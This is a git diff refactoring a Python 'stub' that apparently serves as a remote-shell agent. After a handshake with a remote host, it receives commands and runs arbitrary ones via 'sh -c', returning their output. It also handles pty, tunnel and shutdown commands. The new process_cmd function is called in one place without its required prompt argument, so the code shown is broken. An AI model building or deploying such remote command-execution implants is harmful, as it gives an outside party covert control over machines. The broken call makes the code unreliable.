Get everything working locally

1 files changed, 44 insertions, 33 deletions

diff --git a/pkcli_stub.py b/pkcli_stub.py
index 8992949..e678c24 100644
--- a/pkcli_stub.py
+++ b/pkcli_stub.py
@@ -93,17 +93,21 @@ def get_hostkey(host):
         return False
 
 def pty_barrier(sock):
-    code = [0]*len(b'\xc0\xdeack')
+    code = b'\x00'*len(b'\xc0\xdeack')
 
     while bytes(code) != b'\xc0\xdeack':
         buffer = sock.recv()
         while len(buffer) > 0:
-            code = code[:-1]+buffer[0:1]
+            code = code[1:]+buffer[0:1]
             buffer = buffer[1:]
-            if bytes(code) == b'\xc0\xdeack':
+            if code == b'\xc0\xdeack':
                 break
 
     sock.stop_stream(len(buffer))
+    if len(buffer) > 0:
+        return process_cmd(sock)
+    else:
+        return True, True
 
 def run_pty(sock):
     sock.start_stream()
@@ -137,7 +141,7 @@ def run_pty(sock):
                 else:
                     data = sock.recv()
                     if not data:
-                        return False
+                        return True, False
                     elif data[:6] == b'\xc0\xdenpty':
                         quit = True
                     else:
@@ -145,8 +149,7 @@ def run_pty(sock):
 
             if quit:
                 sock.send(b'\xc0\xdenpty')
-                pty_barrier(sock)
-                return True
+                return pty_barrier(sock)
     #except:
     #    return False
     finally:
@@ -156,6 +159,37 @@ def run_pty(sock):
         except:
             pass
 
+def process_cmd (sock, prompt):
+    cmd = sock.recv()
+    if cmd == b'tunnel':
+        sock.send(b'\xde\xad')
+        return True, False
+    elif cmd == b'die':
+        sock.send(b'\xde\xad')
+        return False, False
+    elif cmd == b'refresh-hdb':
+        if refresh_hdb():
+            response = '[pk] Host database refreshed.\n'
+        else:
+            response = '[pk] Error: could not refresh host database.\n'
+    elif cmd == b'pty':
+        live, cont = run_pty(sock)
+        if not live or not cont:
+            return live, cont
+        else:
+            response = 'PTY done.\n'
+    else:
+        try:
+            proc = subprocess.Popen(['sh', '-c', cmd], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
+            stdout, stderr = proc.communicate()
+            response = stdout+stderr
+            if type(response) == bytes:
+                response = str(response, 'utf-8')
+        except Exception as e:
+            response = '%s\n' % str(e)
+    sock.send(bytes('%s%s' % (response, prompt), 'utf-8'))
+    return True, True
+
 def work(h_addr, port, privkey, bits):
     global server_modulus
     try:
@@ -173,7 +207,6 @@ def work(h_addr, port, privkey, bits):
         else:
             rpubkey = {'n': server_modulus, 'e': Crypto.exp}
         if not sock.handshake_server(rpubkey):
-            print('fucc')
             return True
 
         PS1 = '$ '
@@ -181,32 +214,10 @@ def work(h_addr, port, privkey, bits):
             PS1 = os.environ['PS1']
         sock.send(bytes(PS1, 'utf-8'))
         while True:
-            cmd = sock.recv()
-            if cmd == b'tunnel':
-                sock.send(b'\xde\xad')
-                return True
-            elif cmd == b'die':
-                sock.send(b'\xde\xad')
-                return False
-            elif cmd == b'refresh-hdb':
-                if refresh_hdb():
-                    response = '[pk] Host database refreshed.\n'
-                else:
-                    response = '[pk] Error: could not refresh host database.\n'
-            elif cmd == b'pty':
-                if not run_pty(sock):
-                    return True
-                continue
-            else:
-                try:
-                    proc = subprocess.Popen(['sh', '-c', cmd], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
-                    stdout, stderr = proc.communicate()
-                    response = stdout+stderr
-                    if type(response) == bytes:
-                        response = str(response, 'utf-8')
-                except Exception as e:
-                    response = '%s\n' % str(e)
-            sock.send(bytes('%s%s' % (response, PS1), 'utf-8'))
+            live, cont = process_cmd(sock, PS1)
+            if not live or not cont:
+                break
+        return live
     #except:
     #    return True
     finally: